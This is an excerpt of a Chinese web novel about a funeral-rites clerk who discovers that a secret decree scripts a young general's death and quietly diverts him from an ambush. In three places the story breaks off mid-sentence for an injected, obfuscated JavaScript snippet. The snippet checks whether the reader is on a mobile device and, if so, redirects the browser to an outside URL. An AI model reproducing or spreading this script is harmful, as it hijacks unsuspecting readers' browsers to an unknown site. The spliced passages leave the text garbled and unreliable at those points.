《今天也在为将军拟丧仪》 1. 给活人预办丧仪 季柠在凶礼司当差第六年,第一次见到一个活人的死法写得这样细。 子时刚过,宫门方向的更鼓遥遥传来,沉沉敲了三下。外头一阵脚步声踩着夜色过来,不急不缓,比平常值夜差役都沉一点。她正趴在案后打盹,听见动静,掀起眼皮一看,便见一个内监模样的人推门进来,身后跟着掌灯的小太监,手里捧着一只细长黑匣,匣面覆着黄绫。那内监笑模笑样,眼角却压着很深的纹,一看就是宫里出来的老人。站定之后,他慢条斯理扫了屋里一眼:“哪位是季掌簿?” 季柠站起身,规规矩矩行了一礼:“下官便是。” 那老太监点了点头,连寒暄都省了,径直将那只黑匣放到案上:“宫里的旨意,季掌簿亲启吧。” 深更半夜,宫里来旨,多半没什么好事。季柠眼皮微微一跳,伸手掀开黄绫,取出里头那卷薄薄的密旨。纸是上好的澄心堂,边角压金,墨迹新得发亮。 她只看了两眼,原本困得发木的脑子一下清醒了大半。 ——镇北将军宋昭,预拟丧仪底册。 她盯着那几个字看了一会儿,几乎怀疑自己是不是灯下看花了。 宋昭这个名字,在京中不能说家喻户晓,也差不离。年纪轻轻,北境杀出来的战功,二十六岁封镇北将军,十万铁骑握在手里,走到哪儿都像一把出鞘的刀。这样的人,若真哪一日死了,朝堂上下大概都会震上三震。可问题是,这人前几日才刚得了边关捷报,皇帝在朝上夸过他一句北境战神,这样的风头,这样的年纪,这样的一副活阎王似的命数,怎么看都不像一时半会儿就要用上丧仪的人。 偏偏密旨上写得明明白白。 停灵日数、发丧规格、哭灵名册、祭文初制,都写得一清二楚。再往下,死因一栏,只有四个字,墨色极重。 忠烈战死。 下头甚至连事出经过都已经拟好。 ——将军自将军府起,过朱雀长街,出西郊石桥,沿北营官道北上,路遇埋伏,为掩护大军撤退,身中数箭,忠烈战死。 她忽然觉得后背有点发凉。 直到这一刻,她才后知后觉地想起来,自己待的到底是个什么地方。 凶礼司在京城算个极冷门的衙门,冷门到大多数人都不知道天底下还有这么个部门存在。事实上它也确实不怎么见得了光,挂在礼部名下,平日里不大露面,只在谁家死了人,或者谁家眼看着要死了的时候,才会被想起来。 它管的也不是别的,正是丧仪。 棺椁用什么木,停灵停几日,哭灵名册如何排,发丧时从哪条街过,祭文该写到什么分寸,谥号又该落在哪两个字上…… 这些常规的都好说。真正让人脊背发凉的,是它还有一桩职责——预拟丧仪,讲究的是未雨绸缪,防的就是哪个重臣突发情况逝世,丧仪事项准备不周失礼。 说白了,就是替还活着的人先把身后事备着。 听着晦气,做起来更晦气。可偏偏晦气这种东西,一旦沾上了皇家规制,立刻就显出几分祖宗法度不可废的庄重来。于是满朝文武一边嫌这里不吉利,一边又不得不捏着鼻子认下它的存在。 季柠就在这地方熬到了掌簿。 她图的从来不是青云直上,不过是平平安安领那点俸银,少惹事,多活几年。像这种一看就容易掉脑袋的差事,照理说怎么都轮不到她。可眼下这份底册摆在案上,连宋昭会从哪条路出城、在哪儿遇伏、怎么死,都已经写得明明白白。 她在凶礼司这些年,什么样的底册都见过。暴病、落水、坠马、中毒、病故,体面些的不体面些的,真真假假写了一架子。可宋将军这样年轻的人,预拟丧仪简直就像是咒他早死一样。更别提这份底册里连他从哪条路出城、在哪儿遇伏、怎么死,都写得明明白白。 “季掌簿。”那老太监在一旁开了口,语气不紧不慢,“看明白了?” 季柠把那点发冷的念头压回去,低头应道:“明白。” 她清了清嗓子,把密旨摊平,提笔蘸墨,往底册上补录。“镇北将军,宋昭。”她低低念了一句,笔尖在纸上顿了顿,“死因暂拟,忠烈战死。” 那老太监见她落了笔,才又慢悠悠开口:“这份底册,季掌簿今夜先整理出来。明日礼部会有文书下来,你再亲自去将军府一趟,把该补的补齐。” 季柠抬头:“去将军府?” “明面上,是替将军核对几个月后封赏所用的礼制服制。”老太监说得滴水不漏,“量体裁衣,补录旧伤,核对佩饰、仪注,样样都说得过去。你只管拿礼部的文书去,至于别的……” 他看了季柠一眼,似笑非笑。 季柠立刻点头,答得很快:“下官明白。下官一向嘴紧,胆子也小。” 这其实是凶礼司一贯的做派。活人当然不能明着说给你备丧仪,那和上门咒人死也差不多了。于是外头总得罩上一层体面皮子,今儿是量封赏礼服,明儿是核仪制底档,横竖要把该记的都记下来。明面上量的是几个月后的赏服尺寸,暗地里记的,却是将来殓衣、棺椁与入殓的规制。 老太监显然对她这副识趣模样很满意,点了点头,留下了一句“季掌簿一向会办差”,就转身带着人走了。门重新关上,夜风从缝隙里钻进来,吹得烛火轻轻一晃。 季柠低头看着案上那份底册,忽然有点看不下去了。她索性把笔一搁,暂停了誊抄工作,整个人往椅背上一靠,轻轻“啧”了一声:“宋将军,你最好活久一点。” 这话自然没人听见。只有窗外一阵风掠过,吹得纸页轻轻翻起一角,露出下头那行墨迹未干的字——将军自将军府起,过朱雀长街,出西郊石桥,沿北营官道北上,路遇埋伏,为掩护大军撤退,身中数箭,忠烈战死。 第二日一早,礼部的文书果然下来了。 名头起得十分堂皇,核对镇北将军封赏礼制服制,提前备制赏服。说得再直白一点,就是给季柠送了个光明正大登门的由头。 她换了身规矩些的官服,把卷宗往怀里一抱,跟着礼部来的小吏一路去了将军府。她平时在凶礼司待惯了,少有这种白日里正大光明上别人府门的机会,乍一站到将军府门前,竟还觉得眼前亮堂得有些晃眼。 宋昭这座府邸倒挺像他本人。门庭不算夸张,却收拾得极干净,朱门高阶,守门亲卫个个站得笔直,脸上没什么多余表情,看人时像是在估量你值几刀。院里也安静,没有京中那些高门府邸惯有的脂粉香气和莺声笑语,连廊下的风都带着股利落劲儿。 来迎她的是宋昭的副将,姓霍,名青。 霍青年纪不大,眉目生得很精神,见了她,神色却有些复杂。大约是没想到礼部今日派来的,不是什么老成持重的司制官,而是个年纪轻轻的姑娘。 “季大人?”霍青问。 季柠点头,把手中文书递过去:“下官礼部季柠,奉命来为将军核对封赏礼制服制,顺便量体裁衣,免得日后圣上封赏时赶制不及。将军若嫌麻烦,回头只管怪礼部规矩多,别怪到我这跑腿的小吏头上。下官俸银薄,经不起吓。” 霍青先是一怔,接着脸上的表情都有点裂,像是头一回见着有人把怕担责说得这样理直气壮。他低头看了眼文书,见上头确实盖着礼部官印,便也不好多问,只能把人领进去。 一路往里走时,季柠忍不住多看了两眼。院中几个亲卫正练刀,动作干净利落,刀风一过,卷得地上的落叶都跟着打了个旋。再往里,演武场边摆着未收的长枪和弓架,一切都带着军中那股不太讲究花架子的实用劲儿。 霍青把她领到偏厅,请她稍候,自己则转身去请宋昭。 季柠趁着这片刻工夫,把卷宗摊开理了理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548085|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。里头要补的东西不少,封赏年表、礼制等级、身量尺寸、旧伤记档,甚至连棺椁规制,她昨夜都已经另誊在暗册上。明面上她今日量的是几个月后赏服的尺寸,暗地里真正要记的,却是一个活人的死后规格。 她想到这里,低头看了一眼自己带来的软尺,忽然觉得这东西拿在手里都有点冒犯。 没过多久,外头传来脚步声。 很稳,也很轻,不像文官,也不像养尊处优的权贵,更像那种长年在战场上把刀提惯了的人,踩在地上,连声响都收得恰到好处。 季柠抬头。 宋昭从外头走了进来。 他今日没穿朝服,只一身墨色常服,腰间束带收得很利,越发衬得肩背挺拔。人比她昨夜在脑子里随便勾勒的样子还要更锋利些,轮廓利落,眼神也沉,整个人往那儿一站,像一把没出鞘却已经让人知道很不好碰的刀。 季柠在凶礼司当差,见过许多将死未死的人,也见过许多已经死了却被祭文写得活像圣贤的人。可像宋昭这样,活气盛得几乎要从骨头里往外冒的人,她还是第一次要给他记死后规格。 一时间,她居然有点想笑,这差事果然缺德。 宋昭的目光在她身上停了一瞬,眉头极轻地动了动:“礼部派你来的?” 声音不高,也不冷,只是听着没什么情绪。 季柠起身行礼:“下官季柠,奉礼部之命,来为将军核对封赏礼制服制。圣上前些日子刚提过北境封赏,礼部怕日后后赶制不及,便命下官先来把该量的都量了,该补的也一并补齐。” 宋昭看着她,眸色淡淡的,像是在判断她这句话里哪几个字更真些,他默了半响,终于开口:“要量什么?” 季柠把卷宗翻开,公事公办地念:“外袍、朝服、中衣、靴履、佩带规格,另还要核对将军旧伤所在,以免裁制时不合身,穿着束手。” 这话自然是她临时编出来的,可编得并不算离谱。战功卓著的武将若要受赏,朝廷提前备礼服,也勉强说得过去。 宋昭看了她片刻,只伸出手:“量吧。” 季柠应了一声,从袖中摸出细软的绳尺。寻常司制官给人量体,多半是为了婚服朝服,偏她这一尺一寸,量的是一个活人的死后规格。可她动作偏偏很稳,站近时也不见局促,只低头记着尺寸,偶尔抬眼扫过他的肩背、手臂、腰身,连他右手虎口那层常年握刀磨出来的薄茧都一并记进眼里。 宋昭垂眼看着她,忽然道:“礼部的人,如今量体都这样细?” 季柠头也不抬:“将军这样的身份,若礼服稍有不妥,礼部上下都得挨训。下官胆子小,自然只能记细些。” 她嘴上说得冠冕堂皇,心里却想:不细不行。肩宽多少,腰身几寸,若真有一日要入殓,棺木里多半空不得,也紧不得。做她这一行的,最怕的就是人都躺下了,尺寸却差了半分,到时忙中出错,丢的是凶礼司的脸。 季柠细细量完,收了绳尺,又翻了翻卷宗,之后才像随口似的问:“将军近日可要出京?” 这话问得忽然,霍青下意识皱了下眉:“季大人问这个做什么?” 季柠抬头,一脸无辜:“礼部要连出行时的礼服样制一并核准。若将军近期有祭告、封赏、犒军之类的行程,下官也好看用的是常服、戎装还是受赏礼服,免得回去交不了差。” 这理由说得勉强,倒也说得过去。霍青看了看宋昭,见自家将军没出声,才答道:“三日后,将军要出城去北营犒军。从将军府出,走朱雀街,过西郊石桥,再往北营官道去,往年也差不多都是这条路。” 季柠手中的笔,轻轻顿了一下。 西郊石桥。 北营官道。 昨夜底册上那条写得清清楚楚的死路,此刻从霍青嘴里,一字不差地说了出来。 ? 2. 是巧合还是故意为之 季柠抱着卷宗出了将军府,一路走到街角,才缓缓停住脚步。 阳光正好,街上人来人往,卖糖人的、挑担的、驾车的声音混在一处,热闹得很。可她站在人群里,却忽然觉得昨夜凶礼司那点阴冷气息,好像一路跟到了白日底下。 她低头翻开卷宗,找到昨夜誊抄预拟事出经过的那一页。 “将军自将军府起,过朱雀长街,出西郊石桥,沿北营官道北上,路遇埋伏,忠烈战死。” 她又低头去看自己方才新记下的犒军行程。 “三日后出城犒军,自将军府出,过朱雀街,出西郊石桥,沿北营官道北上。” 连一个转弯都不差。 季柠站在原地,盯着那两行字看了很久,久到街边卖炊饼的小贩都多看了她两眼,像是怀疑这位礼部来的女官大白天对着卷文书撞了邪。 半晌,她才极轻地吸了口气,把卷宗一合。风从长街尽头吹过来,把她袖角吹得微微一晃。那一瞬,季柠心里忽然冒出个极荒唐的念头:昨夜凶礼司拿到的,是一份已经替宋昭提前写好的死法。 足足吹了半盏茶的冷风,季柠才慢吞吞挪回了凶礼司。一路上她都在劝自己别多想。 朱雀街是京城主道,西郊石桥是出北营最顺的那条路,官道往北,十个人里有八个武官出城都爱走这条。更何况凶礼司的底册本就是事先随手拟上去的,和日常出行撞上,也不是全然说不过去。 说到底,不过是巧合。 巧合而已。 她这样想着,脚下却半点没快起来。等回了凶礼司,天都黑透了,院里挂着的两盏风灯被吹得来回晃,照得廊下那排旧木架忽明忽暗,更像一屋子等着人来翻的棺材板。 季柠进门,把卷宗往案上一扔,自己也跟着往椅子里一摊,盯着房梁看了片刻,忽然抬手盖住了眼睛。 “……我真是闲的。” 她嘴上骂自己,手上却很诚实,没过多久就又把那册底档翻了出来。 两张纸并排摆着,墨迹新旧不同,路线却连一个转角都不差。她把昨夜那份底册来来回回看了两遍,忽然觉得不对的地方不只这一处。 太细了。 凶礼司预拟丧仪,向来讲究规制、排场和分寸,真正写到怎么死的时候,多半只落个大概。病故便写“暴病而终”,出意外便写“途中遇变”,至于是在城东还是城西、过了哪道桥、谁先死谁后死,这些都不是底册该写的东西。 因为人还活着,事情没发生,谁也说不准。 可宋昭这份不一样。 不止写了路,不止写了埋伏,甚至连后头那句“为掩护大军撤退,身中数箭,忠烈战死”都像是替他把史书上的那两行赞语先想好了。 这就不只是晦气了,这简直像有人提前看过他的死,再把它誊到了凶礼司的底册上。 季柠盯着那两行字,指尖无意识地在案上敲了敲。敲了两下,她自己先烦了,索性起身去翻木架上的旧档。 她在凶礼司这些年,别的本事未必见长,翻旧案却是一把好手。哪家的棺椁用过楠木,哪位宗亲薨逝时少写了半页祭文,哪卷册子藏在哪一层,她闭着眼都能摸出来。 没一会儿,她便抽了三四卷类似的旧档出来。 一卷是前年梁国公归府途中遇刺,最后写的是“车驾回城时遇变,伤重不治”。 一卷是去年刑部侍郎坠马身亡,写的是“出行途中失足坠马,因伤重薨”。 还有一卷更离谱,写的是某位宗亲王爷在温泉别院里暴病,底册上也不过只记了个“忽发急症”。 没人会写得这么细。 没人会在事情尚未发生时,就把哪条街、哪座桥、哪段路,一笔一画地提前钉死。 季柠看着那几卷旧档,心口一点点沉了下去。 她把卷子一合,重新扔回木架上,咬着牙骂了一句:“真是有病。” 这次她骂的,就不只是自己了。 屋里静了片刻,只剩风灯被吹得轻轻晃。她站在那儿,忽然觉得手脚有点发凉。 凶礼司是什么地方?说好听点,是替贵人们未雨绸缪;说难听点,不过是把人死后的那点体面提前写好。它再怎么缺德,也不至于真能算到一个大活人三日后死在哪条路上。若真有这本事,朝堂上那帮人也不用成日斗得跟乌眼鸡似的了,直接把谁该怎么死都抄一份贴墙上,省事得多。 况且她在凶礼司这些年,别的本事未必见长,惜命却是一等一。这么多年她就明白一个道理:知道得越多,死得越快。 替人誊祭文是一回事,真把自己搅进将军府和朝堂的烂事里,就是另一回事。 宋昭死活与她何干?她一个拿俸银混日子的掌簿,最该学会的就是看见刀时躲远些。她这些年在凶礼司能平平安安熬到今天,靠的从来不是什么本事,而是识趣。 识趣的人,最重要的就是别多管闲事。 可那点念头偏偏像根细刺,扎得不深,却怎么都拔不干净。 她喝了两口冷茶,没压下去。 又翻了半个时辰旧档,还是压不下去。 到了最后,季柠自己都烦了,把笔重重往案上一敲:“行,算我多管闲事。” 真要是巧合,她这一通折腾,不过是让宋昭多绕半条路、晚半个时辰出城,最多被人在背后骂一句礼部多事;可若不是巧合…… 她想到这里,停了一下。 若不是巧合,那她至少还能落个心安。 想到便做,向来是季柠身上为数不多的优点之一。她把白日带回来的礼部文书和犒军礼单重新摊开,抽出一张空白笺纸,蘸墨落笔,字迹一笔一画,写得极其端正。 说辞她早想好了。无非是礼部核对封赏仪注时,发现有一项赏赐告身与犒军礼单上的章印规制不符,需将军本人于三日后巳时前往礼部过目,再换领正本路引,以免日后御前封赏出差错。 写完之后,她自己先把那纸看了一遍,越看越觉得这话扯得厉害。 宋昭是什么人?堂堂镇北将军,三日后还要出城犒军。礼部若真有事,按规矩也该派人去将军府复核,哪有反过来让一位手握兵权的将军在犒军当天,先绕道来礼部换路引的道理? 可扯归扯,胜在体面。 季柠要是真敢直接写一句“你那条路不吉利,换条道走”,霍青大概当场就能把她当撞邪的扔出府去。 她把那张笺纸压进礼单,又把原先给北营的路引抄了一份新的,在出发时辰上轻轻改了一笔。改完之后,她自己盯着那一小块墨看了半天,忽然有种很奇怪的感觉。 像是一个明知不该伸手的人,偏偏还是在别人的命上拨了一下。这种感觉并不好,偏偏她心里那点发闷的气,倒像是跟着顺下去了一些。 第二日一早,礼部值房刚开门,季柠便抱着那几张东西过去,找了个平日与她还算熟识的书吏。 那书吏姓常,平时负责跑各府送文书,见她来了,先是愣了一下:“季掌簿?你们那边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548086|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,怎么还跑到礼部正值房来了?” 季柠把笺纸往他案上一搁,面不改色:“前日核对宋将军封赏礼制服制时,发现有一项章印规制对不上,得补一道便条送去。你替我跑一趟将军府,就说三日后请将军先来礼部一趟,换正本路引。” 常书吏低头一看那笺纸,顿时“嘶”了一声:“让宋将军亲自来?” “所以我才说是请。”季柠把话说得极稳,“人家若不来,就请霍副将代办;人家若来,那就是礼部得脸。横竖话先送到,不算咱们失职。” 常书吏将信将疑地看着她:“这事儿……是不是得再问问上头?” 季柠抬手一点那张礼单,语气不急不缓:“常大人若不放心,就把它退回去。等三日后真出了差错,御前问下来,你我一起担。左右我一个掌簿担不起,常大人总担得起吧?” 她顿了顿,又把声音放软了些:“再说了,您帮我这一回,回头安王府那几份最麻烦的旧档,我替您誊。您不是前几日还说那位老太妃的哭灵名册写得您头疼么?” 常书吏被她堵得一噎,脸上的神情顿时更复杂了些。他既嫌这事不合规矩,又有点心动。凶礼司的旧档向来最烦人,字多,规矩更多,稍有不慎就得重抄。安王府那几卷更是他这几日最想躲的烫手山芋。他低头又看了看那纸,最后还是认命地把东西收了:“行,我给你送。至于人家来不来,可不归我管。” 季柠点点头,转身就走,步子迈得很稳,背影看上去甚至称得上从容。只有她自己知道,出了礼部那道门,她心口一直在突突跳,像刚偷偷挪了谁家的祖宗牌位。 这一跳,一直跳到了第三日。 那两天她表面上该核档核档,该抄册抄册,连说话语气都和平日没什么两样。可实际上,她一有空便忍不住去想,那张便条送到了没有?霍青看了会不会觉得礼部闲得发疯?宋昭那种脾气的人,八成压根不会理她这套拐弯抹角的说辞,说不准看完就顺手扔了。 想到后来,季柠自己也觉得这事儿多半没什么下文。 毕竟她已经尽了提醒。人家要真不来,她也没法把镇北将军绑进礼部值房里。 可真到了第三日那天一早,天刚蒙蒙亮,季柠便再也躺不住了。 她在床边坐了一会儿,本想告诉自己别去了。礼部那边有没有人来、宋昭来不来,本来都不是她一个掌簿该操心的事。她已经递了提醒,已经尽了人情,后头成与不成,都不该再由她来管。 可她穿好衣裳,推开窗,看见外头天色时,还是无声叹了口气。 去一趟,也没什么。就当是顺路去礼部补安王府那几份旧档,就当是看看常书吏有没有偷懒,就当…… 她想了半天,也没给自己找出个更像样的理由,于是干脆不想了。 天刚亮,礼部值房外的石阶上还带着点未散的晨气。院里已有书吏来回走动,抱着一摞摞文书,嘴里念念有词,像是在跟天底下所有规矩较劲。季柠抱着本空白底册,坐在廊下等了一会儿,越等越觉得自己这副样子很傻。 人家要是真不来,她这不是活像个闲得没事干的傻子? 她低头看了看手里的册子,刚想起身回去,外头忽然传来一阵不算重的脚步声。 很稳,很沉,也很熟悉。 季柠抬头,心口忽然跟着跳了一下。 礼部院门外,一道玄色身影逆着晨光站在那里,肩背挺直,轮廓冷硬。 宋昭竟真的来了。 ? 3. 真被她猜中了 礼部院门外,一道玄色身影逆着晨光站在那里,肩背挺直,轮廓冷硬。 宋昭竟真的来了。 季柠愣了一下,她是真没想到宋昭会来。更要命的是,她原本只想着先把人骗出那条路,真到他来了,反倒得她现编一个能说得过去的理由。 霍青显然也还记得她,进门先看见廊下坐着的季柠,神色顿时更复杂了:“季大人?今天还是你?” 这话问得,活像她是个专门在礼部门口摆摊算命的。 季柠站起身,勉强维持住了脸上的平静:“便条既是下官送的,将军若来了,总不能让人白跑一趟。” 宋昭走近几步,目光落在她身上,那眼神淡淡的,却看得人很难糊弄过去:“季大人说,礼部有要紧事,非得我今日亲自来核对不可。” 季柠点头:“是。” “核对什么?” “封赏告身上的章印规制。”季柠答得极快,快得像是昨晚真背了八百遍,“将军前些日子边关立功,圣上虽还未正式下旨封赏,可礼部先备底档也不算逾矩。只是将军今天恰好要去北营犒军,礼单与路引上有一项旧制沿用了先例,和新拟的章服规制撞了。若不先改,日后真封赏下来,再翻旧档,礼部这边不好交代。” 这一长串话,说得又官又绕,基本等于没说。 可官场上很多时候就是这样。越绕,反倒越像那么回事。 霍青听得眉头直皱,明显没太听明白,却又挑不出什么实打实的毛病,只能低声嘀咕一句:“礼部这些规矩,真是越活越麻烦。” 宋昭没理霍青,只看着季柠:“所以,我今日特地改了时辰、换了道,就为了来礼部听你说这个?” 季柠心里一跳,面上却半分不露,甚至还冲他弯了弯眼:“将军若嫌麻烦,下回礼部再有事,下官尽量自己跑将军府。今日这一遭,就当给下官行个方便。” 这话说得很软,偏又带着一点不上不下的讨巧意味。 宋昭看着她,半晌,忽然笑了一下。那笑意和前两日差不多,极淡,像是看明白了什么,又像是觉得她这人实在有点意思。 “季大人。”他慢条斯理道,“你倒很会给自己留后路。” 季柠装作没听懂,只低头把早已备好的那几张礼单翻出来,递过去:“将军既然来了,不妨把这一页也看了,省得白跑。” 宋昭倒也真接了。 他低头看着那几张纸,季柠站在一旁,心里却忍不住有点发虚。她这会儿拿出来的东西,半真半假。礼部确实会提前备制封赏旧档,章印规制也确实常有改动,只是绝没重要到非得让镇北将军亲自来这一趟的地步。 好在宋昭也没打算真在礼部这种地方跟她掰扯规矩。 他翻了两页,像是给足了面子,便将东西递还给她:“看完了。季大人还有别的要核吗?” 季柠刚要接话,院外忽然传来一阵急促的马蹄声。 那声音来得又快又乱,像是有人一路不要命地冲进来,连门口值守的差役都惊了一跳。下一刻,一个满身灰土的亲兵从外头跌跌撞撞闯进院中,扑通一声跪下,连气都来不及喘匀:“将军——!” 院中瞬间一静。 那亲兵抬起头,额角一道血口子还在往下淌,嗓子都喊哑了:“西郊石桥那边……有埋伏!” 霍青脸色骤变:“你说什么?!” “咱们先行押送酒肉和赏银的那队人,刚过石桥就中了伏!”那亲兵声音发颤,“对面埋了弓箭手,还混着死士,像是早就算准了咱们的时辰。弟兄们死伤了几个,余下的人正死命往回撤,若不是将军今日改了道……” 他说到这里,猛地顿住,像是这时才想起来,宋昭本人此刻正好端端站在礼部院中。 霍青整个人都僵了一下,随即倒吸了一口凉气,脸色白得有点难看:“幸好将军今儿改了道……不然这会儿……” 他后头的话没说完,可院里谁都知道他想说什么。 若宋昭今日按原时辰、原路线走,这会儿撞进埋伏圈里的,就不只是先行那一小队人了。 季柠已经自觉退到了不远处的廊下,手里还捏着那几张半真半假的礼单,只觉得指尖一点点发凉。 她本来还在心里反复告诉自己,这多半只是巧合,是她看底册看久了,脑子坏了,见什么都像死法。可眼下那名亲兵满脸是血地跪在院里,西郊石桥、北营官道、埋伏、时辰,所有词都和她前两日看见的那条线死死扣在了一起,再也容不得她拿巧合二字来糊弄自己。 不是巧合。 这念头刚落下来,季柠甚至有一瞬觉得后背发麻。凶礼司那份底册,拿到手的时候,写的根本不是预备,不是未雨绸缪,也不是防突死失礼。 它写的是一场原本就该发生的死。 霍青已经顾不上别的了,转头就要往外冲:“将军,末将先带人过去——” “站住。”宋昭开口时,声音不高,却硬生生把霍青那一步给压住了。 他站在原地,神色从头到尾都没怎么变。若真要说有什么不一样,也只是眼底那点本就不多的温度彻底沉了下去,像是冰面下压了一层更深的寒意。 “先去救人。”他看着那名跪地的亲兵,声音很稳,“活着的带回来,死了的也带回来。伏击的人若能拿活口,就别全杀了。” 霍青咬了咬牙:“是!” 他转身要走,宋昭却叫住了他:“另外——” 霍青回头。 宋昭目光落到早已缩到廊下的季柠身上,这一眼不算重,甚至称得上平静,可季柠却莫名觉得,自己这几日那些半真半假的说辞,在这人面前大概已经跟窗纸差不多,一戳就破。 她心里无声叹了口气,努力装出一副我也很意外的无辜样子,好在这里隔得远,宋昭大概并不能看得清她表情中细微的不自然。 这边宋昭压低声音,用旁人听不到的音量吩咐霍青:“去查,这位季大人到底是礼部哪一处的人,平日里都同谁往来,又是谁把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548087|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派到我府上的。” 霍青一怔,下意识看了季柠一眼。 宋昭却已经移开目光,语气仍旧平静:“查清楚,别惊动她。” 霍青心里一凛,忙应了声“是”,飞身上马转身带着人冲了出去。 礼部院里一时安静得有些过头。方才还来回走动的书吏、差役们这会儿都缩着脖子,连大气都不敢多喘。院门外马蹄声渐远,风从檐下吹进来,把季柠手中的礼单掀起了一角。 她低头按住纸页,心里只有一个念头。 完了。 她正想着,宋昭已经转过身,目光仍落在她身上,像是并不急着走,反倒还有闲心多看她两眼。 “季大人。”他开口,语气依旧平静,“你今日这趟礼部,请得很巧。” 季柠抬起头,极轻地吸了口气,面上倒还稳得住:“将军若要谢我,不如等事情查清了再谢。况且今天只是巧合,下官担不起这份功。” “巧合?”宋昭重复了一遍,像是听见了什么颇新鲜的话。 季柠把手里的礼单往怀里一收,冲他露出一个极其客气的笑:“不然呢?总不能是下官会算命吧。” 宋昭看着她,半晌,忽然也笑了一下。 “那倒未必。”这话落下,他没再停留,转身出了礼部院门。 季柠站在廊下,看着那道背影走远,才后知后觉地发现,自己背后不知何时已经起了一层薄汗,被风一吹,凉得厉害。 她抱着卷宗,慢慢在原地站了一会儿,最后低头看了眼自己手里的礼单,极轻地骂了一句:“……我就知道,多管闲事一般都没什么好下场。” 可骂归骂,她心里又很清楚。若再来一次,她大概还是会递那张便条。因为直到这一刻,她才终于真正看明白,凶礼司手里那份底册,写的不是若将来不幸如此,该如何体面收场。而是若一切顺利,宋昭今日就该死在那条路上。 这一日折腾下来,等季柠回到凶礼司时,天色已彻底暗了。 夜风卷着潮意,从廊下呼呼灌进来,吹得那两盏风灯摇摇晃晃。她跨进门槛,第一反应便是把门掩上,像是生怕再有什么不该来的东西跟着她一路进来。 可怕什么,偏偏就来什么。 案上不知何时已经多了一只细长黑匣,静静搁在灯下,匣面覆着熟悉的黄绫,像一只安安稳稳伏在暗处的兽。 季柠脚步顿了顿,只觉得太阳穴跟着跳了一下。 不会吧。 她站在门口盯着那匣子看了片刻,才慢吞吞走过去,伸手掀开黄绫。里头果然还是那卷上好的澄心堂纸,边角压金,墨迹新得发亮。 ——镇北将军宋昭,重拟丧仪底册。 季柠呼吸一顿。 她盯着“重拟”两个字看了很久,才慢慢往下翻,停灵日数改了,发丧规格改了,哭灵名册也被删去两人,添上了三个她并不陌生的名字。 再往下,死因一栏,只有四个字,墨色极重。 暴病身亡。 4. 第二种死法 季柠盯着暴病身亡四个字,许久没动。 凶礼司的灯火一向昏暗,到了夜里更甚。几盏旧铜灯悬在梁下,灯罩上积着一层经年香灰,光透出来时便被压得发黄,落在案上的纸页上,连墨色都显得比平日更沉。那四个字端端正正地写在死因一栏,笔锋平稳,墨迹犹新,像一块刚从井底捞出来的冷石头,湿淋淋地压在人心口。 她本以为,西郊石桥那一局落空之后,事情总该停一停。哪怕不停,至少也该缓一缓。毕竟刺杀镇北将军不是街头巷尾打架,今日埋伏失手,明日再换个死法,未免也太忙了些。 可宫里这道密旨来得太快,快得像是有人早把第二份底册备好了,只等第一份一废,便立刻把新的递上来。 她慢慢吐出一口气,压下心里那点翻涌的不安,重新低头往下看。 这一次重拟的丧仪,与昨日那份已经全然不同。原先“忠烈战死”的规格极重,停灵三日,允北境旧部入京哭祭,发丧路线也极为堂皇,像是要把宋昭这一生的战功都尽数铺在身后,好叫世人知道这位镇北将军虽死犹荣。 可如今“暴病身亡”这四个字一落,所有体面都随之缩了回去。停灵只许一日,丧仪从简,不惊边军。哭灵名册删去了霍青与几名北境亲将的名字,换上了太医院院判冯嵩、礼部侍郎韩令,以及宫中内侍孙成。 季柠指尖停在那几个人名上,心口那点凉意越发重了。 这不是单纯换个死因,这是连死后该由谁在场、谁作证、谁收场,都一并换好了。 她继续往下看,果然在事出经过那一栏里见到了新的说辞:“镇北将军宋昭,遇伏归京后旧伤骤发,夜半咳血不止,太医院救治不及,暴病身亡。” 短短几行字,写得干净体面,连一点多余的血腥气都没有。 比起路遇埋伏,身中数箭,暴病身亡实在是个省心多了的死法。没有死士,没有伏兵,没有满地箭矢,也没有战马嘶鸣。只要门一关,灯一灭,太医在旁边叹一口气,便足够把一个刚从埋伏里逃出来的人,安安稳稳送进棺材里。 季柠看着那几行字,忽然很轻地笑了一下:“还挺会省事。” 屋里没人应声,夜风从门缝里灌进来,带着一点湿冷的凉意,吹得案上的纸页轻轻一晃。凶礼司夜里的味道比白日更重,陈旧纸墨、香灰、湿木头气混在一起,像一层看不见的灰蒙蒙的雾,沉沉覆在人的眼睫和鼻息间。季柠以前值夜时总嫌这地方阴森,可此刻她却觉得,真正让人发冷的不是这些死人的旧档,而是这份新得发亮的底册。 事情到了这一步,再拿巧合糊弄自己,就显得有点欺负脑子了。 